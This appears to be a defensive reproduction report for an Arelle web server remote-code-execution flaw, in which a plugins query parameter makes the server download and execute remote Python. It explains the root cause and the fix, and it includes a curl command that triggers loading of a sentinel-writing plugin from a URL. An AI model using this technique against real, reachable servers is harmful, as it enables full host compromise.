CVE-2026-42796: Verified Repro With Script Download

Summary

Arelle's built-in web server exposes /rest/configure and /rest/xbrl/validation endpoints that accept a plugins query parameter. In versions prior to 2.39.10, this parameter was forwarded directly to the plugin manager without validation, allowing an attacker to supply an arbitrary HTTP(S) URL pointing to a Python file. Arelle would download the file and, when the plugin defined certain hooks (e.g., CntlrCmdLine.Utility.Run), execute its top-level Python code in-process. This constitutes unauthenticated remote code execution (RCE) against any reachable Arelle web server instance.

Impact

• Package/Component: arelle-release (PyPI) / Arelle XBRL platform
• Affected Versions: < 2.39.10
• Fixed Version: 2.39.10
• Risk Level: Critical — CVSS 3.1 base 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
• Consequences: Any network-reachable Arelle web server can be compelled to download and execute attacker-controlled Python code, leading to full host compromise.

Root Cause

The root cause is a missing allowlist/validation on the plugins parameter in the web server request handlers (arelle/CntlrWebMain.py). Before the fix:

if request.query.plugins:
    options.plugins = request.query.plugins

The value was passed verbatim to CntlrCmdLine.run(), which splits it by | and calls PluginManager.addPluginModule() for each entry. addPluginModule() resolves the string through the web cache (WebCache.getfilename), downloading remote URLs to a local cache file. The module is then parsed for __pluginInfo__ and, if it declares a hook that the runtime later requests (e.g., CntlrCmdLine.Utility.Run), PluginManager.loadModule() imports and executes the file via importlib.util.spec_from_file_location + exec_module.

The fix (PR #2320, commits 4fed726, 736f77b, b43437a) adds a _rejectRemotePlugins() helper that matches each plugin reference against the regex ^[a-zA-Z][a-zA-Z0-9+\-.]*://. If any reference is a URL scheme, the web server raises an HTTPResponse(status=400) before the value ever reaches the plugin manager. The fix also adds a startup warning about the webserver's security posture.

Reproduction Steps

The reproduction is fully automated in repro/reproduction_steps.sh. The script:

1. Creates two isolated Python virtualenvs and installs arelle-release==2.39.9 (vulnerable) and 2.39.10 (fixed).
2. Writes a malicious plugin evil_plugin.py that writes a sentinel file (/tmp/arelle_pwned) at module import time and declares CntlrCmdLine.Utility.Run to ensure loadModule / exec_module is triggered.
3. Serves the plugin via python3 -m http.server.
4. Starts the Arelle webserver (arelleCmdLine --webserver localhost:PORT).
5. Sends curl "http://127.0.0.1:PORT/rest/configure?plugins=http://127.0.0.1:PLUGIN_PORT/evil_plugin.py".
6. Captures the HTTP response code and checks for the sentinel file.
7. Repeats steps 3–6 with the fixed version.

Expected Evidence

• Vulnerable (2.39.9): HTTP 200 and sentinel file /tmp/arelle_pwned is created, proving the remote plugin was downloaded, imported, and executed.
• Fixed (2.39.10): HTTP 400 with body Remote URL plug-in references are not permitted via the webserver: ... and no sentinel file, proving the guard blocks the attack.

Evidence

Captured logs are written to $ROOT/logs/:

• logs/vuln_response.txt — Arelle 2.39.9 HTML response showing plugin activation success.
• logs/vuln_http_code.txt — vuln HTTP code: 200
• logs/fixed_response.txt — Arelle 2.39.10 plain-text rejection message.
• logs/fixed_http_code.txt — fixed HTTP code: 400
• logs/result.txt — Combined pass/fail verdicts.

Key Excerpts

Vulnerable run output:

vuln HTTP code: 200
vuln: CONFIRMED - sentinel file created (RCE executed)

Fixed run output:

fixed HTTP code: 400
fixed: CONFIRMED - request rejected with 400, no RCE

Recommendations / Next Steps

1. Upgrade immediately to arelle-release >= 2.39.10 (or any build containing PR #2320).
2. Do not expose the Arelle web server to untrusted networks. Even with the fix, the web server performs no authentication and can read local files.
3. Regression test by running the reproduction script against any new release to ensure the guard is not inadvertently removed.
4. Consider additional hardening such as binding the web server to 127.0.0.1 only and placing it behind an authenticated reverse proxy.

Additional Notes

• Idempotency: The reproduction script was executed twice consecutively and produced identical results on both runs.
• Edge Cases: The fix also rejects prefixed entries (e.g., +http://..., -http://..., ~http://...) and pipe-separated lists where any component is a remote URL. The regex correctly allows local filesystem paths and pip-installed entry-point names.
• Limitations: The reproduction targets the /rest/configure endpoint because it is the simplest trigger path; the same guard also protects /rest/xbrl/validation and other endpoints that accept plugins.